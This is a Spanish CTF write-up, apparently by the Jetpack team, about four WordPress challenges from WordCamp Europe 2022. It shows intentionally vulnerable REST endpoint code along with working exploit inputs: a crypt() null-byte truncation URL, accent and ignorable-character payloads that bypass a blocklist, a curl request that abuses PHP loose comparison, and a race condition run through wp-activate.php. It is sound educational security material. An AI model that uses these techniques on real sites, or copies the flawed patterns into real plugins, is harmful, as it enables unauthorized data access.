Durante WordCamp Europe 2022, organizamos una competición de WordPress Captura la bandera (CTF) con cuatro desafíos.
Queríamos introducir a la gente en el adictivo mundo de los CTF y permitirle experimentar cómo los investigadores de seguridad buscan errores, por ejemplo, buscando rarezas en el código y combinándolas para hacer cosas extrañas y, a veces, contrarias a la intuición.
Desafío n.º 1 – ¿Tienes suerte?
Desafío n.º 2 – ¿Cómo eludir la lista de bloqueo?
Desafío n.º 3 – Licencia para capturar la bandera
Desafío n.º 4 – Licencia para CTF: Parte 2
Si te interesa probarlo, todavía puedes obtener aquí los archivos del desafío:
Desafío #1 – ¿Tienes suerte? (250 puntos)
Fragmentos de código relevantes
register_rest_route( 'hackismet', '/am-i-lucky', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_am_i_lucky',
'permission_callback' => '__return_true',
]);
function hackismet_am_i_lucky( $request ) {
$flag = get_option( 'secret_hackismet_flag_2' );
if( hash_equals( crypt( $request['payload'] . $flag . random_bytes(32), '$1$sup3r_s3kr3t_s4lt' ), $request['hash'] ) ) {
return rest_ensure_response( $flag );
}
return rest_ensure_response(false);
}
¿Cómo se podía resolver?
Este desafío presentaba un endpoint de una REST API al que se podía acceder mediante la ruta /wp-json/hackismet/am-i-lucky. Estaba diseñado para recibir un payload y un parámetro de la solicitud llamado hash, concatenar request['payload'] con la bandera y una cadena de 32 bytes aleatorios criptográficamente seguros, y comparar el hash resultante con request['hash'].
Al leer la documentación de la función crypt(), se podría comprobar que esta función aún no es segura para binarios, lo que significa que un byte nulo (%00) podría usarse para truncar la cadena que se va a hashear justo antes de la bandera y de 32 bytes aleatorios. Esto se debe a que la implementación actual de esa función en PHP es básicamente solo un alias de la función C subyacente del mismo nombre, y las cadenas de C terminan con bytes nulos.
Para obtener la bandera, solo había que calcular un hash con el mensaje que controlas y la sal criptográfica utilizada en el código del plugin, usar el hash resultante en el parámetro «hash» y poner el mensaje en el parámetro «payload», concatenado con un byte nulo (%00).
Así era un exploit exitoso:
/wp-json/hackismet/am-i-lucky?payload=lel%00&hash=$1$sup3r_s3$sThhFzCqsprSVMNFOAm5Q/
Desafío n.º 2 – ¿Cómo eludir la lista de bloqueo? (250 puntos)
Fragmentos de código relevantes
register_rest_route( 'hackismet', '/get-option/(?P<option_key>\w+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_get_option',
'permission_callback' => 'hackismet_validate_option',
]);
function hackismet_validate_option( $request ) {
$option_key = trim( strtolower( $request['option_key'] ) );
if( empty( $option_key ) ) {
return false;
}
if( ! preg_match( '/^hackismet_/i', $option_key) ) {
return false;
}
if( $option_key == 'hackismet_flag_1' ) {
return false;
}
return true;
}
function hackismet_get_option( $request ) {
$option_key = trim( strtolower( $request['option_key'] ) );
return rest_ensure_response( get_option( $option_key ) );
}
¿Cómo se podía resolver?
Este desafío presentaba un endpoint de REST API al que se podía acceder mediante /wp-json/hackismet/get-option/option_key_you_want.
El objetivo era bastante sencillo: intentar filtrar la opción «hackismet_flag_1».
Por desgracia, la función de devolución de llamada de permisos de ese endpoint también hacía varias cosas para impedir que simplemente obtuvieras cualquier opción del sitio:
- Validaba que la clave de la opción comenzara por «hackismet_».
- También se aseguraba de que la opción que pretendías recuperar no fuera hackismet_flag_1, donde se encontraba la bandera.
- Para que las cosas parecieran más difíciles, la ruta de API limitaba qué caracteres podían incluirse en el parámetro de ruta option_key, permitiendo únicamente cadenas que coincidieran con la expresión regular
\w+.
La función de devolución de llamada «hackismet_validate_option» también utilizaba las funciones «strtolower» y «trim» en un intento de normalizar el parámetro «option_key». Esto pretendía frustrar los intentos de aprovechar comportamientos bien documentados de MySQL y de su intercalación «utf8mb4_unicode_ci», como el hecho de que las comparaciones de cadenas no distinguen entre mayúsculas y minúsculas, y que no tiene en cuenta los espacios finales en las columnas VARCHAR tampoco.
Otros trucos de ordenación
Para resolver este desafío, había que encontrar otras peculiaridades en la forma en que «utf8mb4_unicode_ci» realiza búsquedas de cadenas para eludir las comprobaciones existentes, y había al menos dos formas de hacerlo.
Sensibilidad a los acentos
Como se mencionó en la documentación oficial de MySQL:
En los nombres de intercalación no binaria que no especifican la sensibilidad a los acentos, esta viene determinada por la sensibilidad a mayúsculas y minúsculas.
En pocas palabras: la sensibilidad a los acentos importa. La intercalación predeterminada de WordPress usa el componente «_ci» (por «Case-Insensitive»), lo que significa que la intercalación es también insensible a los acentos.
Así, pasar “hackismet_flàg_1” evitaría las comprobaciones de hackismet_validate_option.
Pesos ignorables
El Algoritmo de colación Unicode, que utiliza la colación utf8mb4_unicode_ci de MySQL para comparar y ordenar cadenas Unicode, describe el concepto de «pesos ignorables» como se indica a continuación:
Los pesos ignorables son omitidos por las reglas que construyen claves de ordenación a partir de secuencias de elementos de intercalación. Por lo tanto, su presencia en los elementos de intercalación no afecta a la comparación de cadenas mediante las claves de ordenación resultantes. La asignación cuidadosa de pesos ignorables en los elementos de intercalación es un concepto importante para la UCA.
En pocas palabras, el algoritmo calcula un peso para cada elemento de intercalación (carácter), y algunos se definen con un peso predeterminado de cero, lo que hace que el algoritmo los ignore al comparar cadenas.
Había múltiples formas de aprovechar (ab)usivamente ese comportamiento para superar el desafío, entre ellas:
- Agregar bytes nulos en algún lugar de la cadena (por ejemplo,
hackismet_fl%00ag_1) - Insertar secuencias UTF-8 no válidas dentro de la cadena (por ejemplo,
hackismet_fl%c2%80ag_1)
Puedes encontrar muchas otras combinaciones en la implementación de MySQL de la UCA.
Eludir la restricción de caracteres del parámetro «option_key»
La variable de ruta “option_key” se definió para no permitir el paso de nada que no fuera \w+. Eso era un problema. PHP trata cada cadena como una serie de bytes en lugar de caracteres Unicode, como hace MySQL, por lo que enviar una solicitud a “/wp-json/hackismet/get-option/hackismet_flàg_1” o a “/wp-json/hackismet/get-option/hackismet_fla%00g_1” no funcionaría.
Para eludirlo, la documentación oficial de WordPress sobre cómo escribir endpoints de REST API ayudó un poco, concretamente la línea que dice:
De forma predeterminada, las rutas reciben todos los argumentos incluidos en la solicitud. Estos se combinan en un único conjunto de parámetros y luego se añaden al objeto Request, que se pasa como primer parámetro a tu endpoint
Lo que esto significa en la práctica es que, al visitar /wp-json/hackismet/get-option/test?option_key=hackismet_fla%00g_1, el parámetro option_key contendría «hackismet_fla%00g_1», y no «test», lo que también obligaría al plugin a darte la marca.
Desafío n.º 3 – Licencia para capturar la bandera (500 puntos)
Fragmentos de código relevantes
register_rest_route( 'hackismet', '/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_generate_license',
'permission_callback' => '__return_true',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
register_rest_route( 'hackismet', '/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_access_flag_3',
'permission_callback' => 'hackismet_validate_license',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
register_rest_route( 'hackismet', '/delete-license/(?P<session_id>[0-9a-f\-]+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_delete_license',
'permission_callback' => '__return_true',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
]
]
]);
function hackismet_generate_license( $request ) {
// 128 bits of entropy should be enough to prevent bruteforce.
$license_key = bin2hex( random_bytes(40) );
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
// Reset it.
update_option( 'secret_hackismet_license_key_' . $request['session_id'], bin2hex( random_bytes( 64 ) ) );
return rest_ensure_response('License successfully generated!');
}
function hackismet_delete_license( $request ) {
// Remove existing key.
delete_option('secret_hackismet_license_key_' . $request['session_id']);
return rest_ensure_response('License successfully deleted!');
}
function hackismet_validate_license( $request ) {
// Ensure a key has been set
if( ! get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return new WP_Error('no_license', 'No license exists for this session_id!');
}
$license_key = $request['key'];
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return true;
}
return false;
}
function hackismet_access_flag_3( $request ) {
return rest_ensure_response( get_option( 'secret_hackismet_flag_3' ) );
}
¿Cómo se podía resolver?
La idea detrás de este desafío era simular un sistema de gestión y validación de licencias (muy) defectuoso.
Aunque este desafío pretendía permitir a los participantes explotar una vulnerabilidad de condición de carrera bastante esotérica, un descuido sutil del diseñador del desafío hizo posible resolverlo mediante una solución no prevista y menos exótica.
El desafío presentaba tres endpoints, aunque solo se necesitaban dos para obtener la bandera:
- /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
- /hackismet/access-flag-3/(?P<session_id>[0-9a-f\-]+)/(?<rounds>\d+)
- /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
El endpoint generate-license rellenaba una clave de licencia específica de la sesión, que después se validaba mediante el endpoint access-flag-3 y su función de devolución de llamada de permisos hackismet_validate_license. Por desgracia, como nunca llegaste a ver cuál era la clave de licencia generada real, tuviste que encontrar una forma de eludir por completo la comprobación de licencia para obtener la bandera.
$license_key = $request['key'];
// Here for added security
for($i = $request['rounds']; $i > 0; $i--) {
$license_key = str_rot13($license_key);
}
if( $license_key == get_option( 'secret_hackismet_license_key_' . $request['session_id'] ) ) {
return true;
}
Una forma de hacerlo era hacer que $request['key'] contuviera un valor booleano de «true», y $request['rounds'] un valor de cero. De este modo, te asegurabas de que $request['key'] no fuera modificado por varias llamadas a str_rot13, y como la validación de la licencia se realiza mediante el operador de comparación flexible de PHP, la comparación siempre devolvería true.
Sin embargo, no podías hacerlo con parámetros GET o POST normales, ya que estos solo contienen cadenas o matrices. Por suerte, la REST API de WordPress te permite enviar un cuerpo de solicitud JSON, incluso en puntos de conexión registrados solo para usar el método HTTP GET. Como resultado, enviar las siguientes solicitudes te daría la bandera del desafío:
curl –url 'https://ctfsite.com/wp-json/generate-license/$your_session_id/1234'
curl –url 'https://ctfsite.com/wp-json/access-flag-3/$your_session_id/0' -X GET –data '{"key":true}' -H 'Content-Type: application/json'
Desafío n.º 4 – Licencia para hacer CTF: Parte 2 (500 puntos)
Fragmentos de código relevantes
register_rest_route( 'hackismet', '/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)', [
'methods' => WP_Rest_Server::READABLE,
'callback' => 'hackismet_access_flag_4',
'permission_callback' => 'hackismet_validate_license',
'args' => [
'session_id' => [
'required' => true,
'type' => 'string',
'validate_callback' => 'wp_is_uuid'
],
'key' => [
'required' => true,
'type' => 'string'
]
]
]);
function hackismet_access_flag_4( $request ) {
return rest_ensure_response( get_option( 'secret_hackismet_flag_4' ) );
}
// (... and basically every other code snippets from Challenge #3! )
¿Cómo se podría resolver?
Este desafío presentó tres endpoints (y de hecho ¡era necesario usar los tres para resolverlo!):
- /hackismet/generate-license/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
- /hackismet/delete-license/(?P<session_id>[0-9a-f\-]+)
- /hackismet/access-flag-4/(?P<session_id>[0-9a-f\-]+)/(?P<rounds>\d+)
Como puedes ver, estos son exactamente los mismos endpoints que en el desafío anterior; la única diferencia ahora es que nos aseguramos de que $request['key'] sea una cadena para evitar el problema de conversión de tipos que mencionamos en el otro desafío.
La ruta autoexplicativa delete-license hizo exactamente lo que cabría esperar: eliminó la licencia actual de la base de datos. Del mismo modo, access-flag-4 simplemente devolvió la bandera, suponiendo que su callback de permisos, hackismet_validate_license, lo permitiera.
Como puedes ver en el fragmento de código hackismet_validate_license, la devolución de llamada de permisos llamó get_option dos veces: una para validar que se hubiera establecido una clave de licencia y otra para compararla realmente con la que proporcionamos. Ambas llamadas están separadas por un bucle str_rot13 que se ejecuta tantas veces como rondas se hayan definido en la variable de ruta $request['rounds'].
Esto hizo posible que se produjera una condición de carrera al enviar un número grande en la variable rounds para retrasar la solicitud el tiempo suficiente como para acceder al endpoint /hackismet/delete-license y, de ese modo, eliminar la licencia antes de compararla con la nuestra.
El hecho de que get_option() devuelva de forma predeterminada el valor booleano false si no encuentra una opción determinada es la guinda del pastel. Como la función nunca comprueba si $request['key'] está vacío y false == ““ al comparar de forma flexible tipos diferentes en PHP, esto nos permitiría eludir por completo las comprobaciones de seguridad.
¡Pero esto es solo en teoría!
¡El almacenamiento en caché al rescate!
Como puede verse en el código fuente de la función, get_option almacena en caché el resultado de cualquier opción que esté recuperando, de modo que cualquier solicitud posterior de esa opción en la misma solicitud HTTP no enviará consultas adicionales de SQL. Esto por sí solo impide que nuestro ataque de condición de carrera funcione. Incluso si otra solicitud eliminara la opción de licencia mientras recorremos todas esas llamadas a str_rot13, get_option no lo sabría porque el resultado ya está almacenado en caché para esa solicitud.
De nuevo, al mirar el código fuente, parece que la única forma de evitar que eso ocurra es que wp_installing devuelva… true? Resulta que nosotros podemos hacer que lo haga. :-)
¿Ya está instalado WordPress?
La función wp_installing se basa en la constante WP_INSTALLING para determinar si WordPress está instalando o actualizándose. Buscar los lugares donde se define esta constante arroja muy pocos resultados; el más interesante en nuestro caso se encuentra en wp-activate.php:
<?php
/**
* Confirms that the activation key that is sent in an email after a user signs
* up for a new site matches the key for that user and then displays confirmation.
*
* @package WordPress
*/
define( 'WP_INSTALLING', true );
/** Sets up the WordPress Environment. */
require __DIR__ . '/wp-load.php';
require __DIR__ . '/wp-blog-header.php';
if ( ! is_multisite() ) {
wp_redirect( wp_registration_url() );
die();
}
Lo que lo hace especialmente adecuado para nuestro propósito aquí es que una de las primeras cosas que hace es ejecutar require() en wp-blog-header.php.
En pocas palabras: el código que realmente inicia el servidor de REST API está vinculado a la acción parse_request, por lo que solo estará disponible cuando WordPress configure internamente las variables de consulta necesarias para que The Loop haga su trabajo.
Esto solo ocurre si la función wp() se llama como en wp-blog-header.php.
Puesto que, internamente, WordPress utiliza el parámetro rest_route para saber qué ruta cargar, basta con añadir ese parámetro a la URL para iniciar la API al visitar /wp-activate.php.
Así pues, el ataque final fue más o menos así:
- Envía una solicitud a
/wp-activate.php?rest_route=/hackismet/access-flag-4/$session_id/$roundsdonde$roundses un número bastante grande para que esta solicitud tarde lo suficiente como para permitirte hacer el paso #2. - Envía una solicitud a
/wp-json/hackismet/delete-license/$session_idmientras tu primera solicitud está bloqueada en el buclestr_rot13. - Espera a que termine tu primera solicitud y obtén tu bandera.
Conclusión
Esperamos que te hayas divertido tanto participando en la primera edición de la competición Capture The Flag de Jetpack como nosotros organizándola. Esperamos volver a hacerlo en el futuro. Para obtener más información sobre CTF, visita CTF101.org
Créditos
Diseñador del desafío: Marc Montpas
Agradecimientos especiales a Harald Eilertsen por difundir la noticia en persona en WordCamp Europe, y al equipo de Jetpack Scan por sus comentarios, ayuda y correcciones.



